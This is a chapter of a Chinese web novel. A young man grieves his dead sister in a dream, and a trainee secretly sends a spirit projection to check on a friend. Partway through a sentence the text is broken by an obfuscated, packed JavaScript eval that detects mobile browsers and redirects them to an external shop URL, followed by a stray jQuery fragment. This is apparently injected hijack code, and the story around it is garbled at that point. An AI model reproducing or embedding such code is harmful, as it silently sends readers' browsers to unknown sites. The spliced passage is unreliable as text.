暖黄的吸顶灯晕着柔和的光,墙面上还贴着迟叶买的三千的海报,茶几上摆着没喝完的牛奶,和一碗切好的、插着牙签的苹果块。
沙发旁的书桌前,坐着一个扎着马尾、身形纤细的小姑娘。
是十三四岁的迟叶,刚上初中的模样,脸颊还带着未褪的婴儿肥,眉眼和他有七分像,清澈又灵动,额前碎发被发卡别在一边,正低着头为一道不会的数学题犯难。
迟昼站在玄关处,心脏像是被温水裹住,又软又涩。他知道这是梦,却舍不得挪动半步。
下一秒,少年迟昼从房间里出来,手里拿着刚整理好的错题本,径直走到迟叶身边,看了眼她面前的数学卷:“不会的话,我教你。”
迟叶立刻抬起头,眼睛亮晶晶的,像星星一样。她把笔递给少年迟昼,凑过去听,脑袋几乎要放到他的胳膊上了,脸颊上的肉被挤压地变了形,看起来更可爱了。
“哥,你怎么什么都会啊。”她小声嘟囔,语气里带着点崇拜,“明天又要周测了,我要是考砸了怎么办?”
“怕什么,反正爸妈在外地又打不到你,是吧?”少年迟昼语气里带着明显的玩笑,揉了揉她的头顶,把她的马尾揉得有些乱,“别担心了,冰箱里有给你买草莓蛋糕,写完作业去吃。”
迟叶立刻重重点头,重新握起笔,写字的速度都快了几分。
梦里的时光带着最平淡也最珍贵的烟火气。
他看见周末的清晨,迟叶赖床裹着被子往床里缩,哼哼唧唧不肯起;看见放学路上,迟叶背着书包,跟在他身后,手里攥着刚买的棒棒糖,叽叽喳喳地说着学校里的趣事和八卦;看见他写作业到很晚时,迟叶把热牛奶放在他手边,小声说让她早点睡。
没有后来的天人永隔,只有属于他们兄妹两人最纯粹的年少时光。
迟昼看着眼前的画面,指尖微微发颤。他想伸手碰一碰迟叶,想再听她喊一声哥,可当指尖穿过虚影,当眼前的光影模糊,她知道一切都回不去了。
温热的液体毫无预兆地从眼角漫了出来,顺着侧脸的轮廓缓缓滑落,落在枕头上,晕开一小片浅淡的湿痕。眼泪落得安静又缓慢,一颗接着一颗,无声地淌过下颌。
迟昼骤然睁开眼睛,胸腔微微起伏,他缓缓抬手,触到脸颊上一片湿热。
他想起了迟叶翻窗进来那一晚——与梦境中的小迟叶对比,原本圆润的脸颊陷下去一小块,下颌线拉出了不该属于高中生的清瘦棱角,连原本饱满的苹果肌都淡了下去,衬得那双和他相像的眼睛更大,也更空落。灯光落在她脸上,能清晰看见眼下淡淡的青黑,脖颈处纤细的锁骨突兀地显了出来。
没有了少年人该有的鲜活灵动,连眼底的光淡了大半,只剩下一片沉沉的、当时的他读不懂的安静,还有一丝被刻意藏起来的慌乱与无措。她的唇瓣抿得很紧,原本柔和的嘴角微微下撇,带着一种不属于这个年纪的隐忍,像是有很多话堵在喉咙里,却又硬生生咽了回去。
眼神里的澄澈被一层薄薄的迷茫与成熟覆盖。
清晨的训练基地还浸在一层薄薄的凉意里,整齐的队列随着教官的口令整齐移动,脚步声沉稳划一,整片场地都透着严苛而有序的氛围。
男女队列错开休息,迟昼向来不爱关注旁人,也从不多管闲事,可刻在骨子里的敏锐,还是让他在不经意间,捕捉到女队中方糖的异常。
她每一个动作都标准利落,应答口令清晰沉稳,站姿笔挺,神情看上去与平日认真严谨的模样毫无二致。可迟昼依旧一眼看出了她藏在平静之下的紊乱,她的肩线绷得有些僵,像是在强行压制着心底翻涌的情绪,指尖藏在训练服下,无意识地蜷缩又松开——她根本无法真正凝神。她的目光明明该牢牢锁在前方教官身上,却总会在极短的间隙里,不受控制地飘向基地外侧遥远的方向,快得像错觉,却藏着掩不住的焦灼与心神不宁,整个人明明站在训练场,心神却早已飘去了很远的地方。
迟昼只是淡淡扫过一眼,便收回了目光。
早训结束的哨声落下,人群四散而去,喧闹瞬间填满基地的每一处角落。方糖趁着人流拥挤混乱,不动声色地脱离队伍,脚步轻而谨慎,一路避开巡逻队员与往来同伴,径直钻进实训楼后方最僻静、几乎无人踏足的角落。确认四周彻底空无一人且无监控后,她才缓缓靠在冰冷的墙壁上,抬手按住袖口那枚花瓣形状的隐秘法器,指尖微微用力。
淡金色的微光从法器中无声漫开,轻柔却稳定地牵引着她的精神力,方棠闭上双眼,本体稳稳停留在原地,气息平稳得如同只是在此小憩,半步都没有离开训练基地。而一缕凝练至极的精神力却顺着法器的力量缓缓剥离,以地上细碎的花瓣为骨在空气中慢慢凝聚、成型,最终化作一道半透明的纤细身影,与她本人一模一样,脚步轻得没有半点重量。分身悄无声息地越过基地边界,朝着白巷市中心的方向而去。
迟昼随着人流缓缓离开训练场,神色依旧平静淡漠,方才瞥见的方糖的异常,已经在心底淡去。
洛西西待在市中心小巷的居民楼内,正安静地坐在窗边,指尖随意翻着书页,神态平和淡然,脑海里只有日常琐事,丝毫没有察觉到,虚空中正有一道花瓣凝聚的身影,朝着自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214193|197436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己飞速靠近。
下一秒,清浅的花香骤然萦绕鼻尖,细碎的光尘在窗前缓缓散开,半透明的花塑身稳稳落在屋内,拦住了她的视线。洛西西猛地顿住动作,抬眼望去,在看清对方眉眼的瞬间,瞳孔微微一缩,脸上瞬间涌上明显的惊愕与意外,整个人都僵在原地——她没收到任何消息,没有半分约定,根本没想到方糖回来见她。
“方糖?你怎么会在这里?”洛西西的声音里带着清晰的诧异,指尖不自觉绷紧,平静的神态被瞬间打破,连呼吸都乱了半拍。
方糖快步上前,牢牢握住她的手,精神力凝成的掌心带着微凉的触感,却握得极紧:“我在基地听说这附近有兽群异动,我实在担心你。所以就用了法器偷偷来找你,我必须亲眼看见你好好的、毫发无损,我才能真正放心。”
洛西西望着眼前半透明的身影,感受着对方掌心传来的力道,眼底的惊愕渐渐褪去,取而代之的是浅浅的无奈。她嘴角弯起的弧度带着心疼,样子是被这般不顾一切的奔赴戳中心弦的动容,也是对方糖擅自冒险的担忧。
“你怎么这么傻,”洛西西的声音放得很轻,带着不易察觉的沙哑,指尖轻轻碰了碰方糖的脸颊,“我没事,半点危险都不会有。你使用法器耗神,加上远距离精神力分离本就凶险,万一出了差错,该怎么办?我虽然觉醒的序列低,但还是可以保护自己的。”
“我不怕,”方棠望着她,眼底满是坚定与温柔,字字句句都藏着最纯粹的心意,“我从一开始就不是为了别的,只是为了护你周全。只要你平安无事,只要我能亲眼确认你好好的,不管冒多大的险,不管消耗多少精神力,我都心甘情愿。”
洛西西沉默着,眼底泛起淡淡的水光,她没有再多说责备的话,只是轻轻回握住对方的手,“我知道。”洛西西的声音轻得像风,“下次不要再这样擅自冒险了。”
风轻轻穿过窗缝,塑身的光芒渐渐变得黯淡,远距离消耗让精神力达到到极限,方糖知道自己必须回去了。她最后捏了捏洛西西的指尖,留下一句轻声的叮嘱,便缓缓化作漫天细碎的光尘,消散在空气中,只余下一缕淡淡的花香,证明方才的相见并非幻觉。
洛西□□自站在原地,缓缓松开手,掌心还残留着虚幻的微凉,她微扬的嘴角放平,脸上重新恢复了平静淡然,仿佛刚才那场突如其来的相见,从未发生过。
训练基地的小巷中,方糖缓缓睁开双眼,收起袖口的法器,指尖微微泛白,精神力的损耗让她脸色略显苍白,但眼底的焦灼与不安已彻底散去。她整理好衣摆,若无其事地走出小巷,重新汇入人流。